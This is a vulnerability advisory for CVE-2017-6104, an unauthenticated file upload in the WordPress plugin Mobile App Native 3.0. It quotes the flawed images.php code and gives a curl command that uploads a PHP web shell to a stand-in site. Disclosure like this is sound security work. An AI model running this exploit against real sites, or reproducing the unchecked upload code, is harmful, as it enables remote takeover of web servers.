WordPress Mobile App Native 3.0 Shell Upload
Posted on 02 March 2017
Title: Remote file upload vulnerability in Wordpress Plugin Mobile App Native 3.0 Vulnerability Date: 2017-02-27 Download: https://wordpress.org/plugins/zen-mobile-app-native/ Vendor: https://profiles.wordpress.org/zendkmobileapp/ Notified: 2017-02-27 Vendor Contact: Description: Mobile App WordPress plugin lets you turn your website into a full-featured mobile application in minutes using Mobile App Builder. Vulnerability: The code in file ./zen-mobile-app-native/server/images.php doesn't require authentication or check that the user is allowed to upload content. It also doesn't sanitize the file upload against executable code. <?php //header('content-type: text/html; charset=iso-8859-2'); header('Content-Type: text/html; charset=utf-8'); header('Access-Control-Allow-Origin: *'); require_once('function.php'); if ($_FILES['file']['name']) { if (!$_FILES['file']['error']) { $name = md5(rand(100, 200)); $ext = explode('.', $_FILES['file']['name']); $filename = $name . '.' . $ext[1]; $destination = 'images/' . $filename; $location = $_FILES["file"]["tmp_name"]; move_uploaded_file($location, $destination); echo $plugin_url.'/server/images/' . $filename; } else { echo $message = 'Ooops! Your upload triggered the following error: '.$_FILES['file']['error']; } } CVEIDs: CVE-2017-6104 Exploit: $ curl -F "file=@/var/www/shell.php" "http://example.com/wordpress/wp-content/plugins/zen-mobile-app-native/server/images.php" http://example.com/wordpress/wp-content/plugins/zen-mobile-app-native//server/images/8d5e957f297893487bd98fa830fa6413.php URL: http://www.vapidlabs.com/advisory.php?v=178 Credit: Larry W. Cashdollar, @_larry0
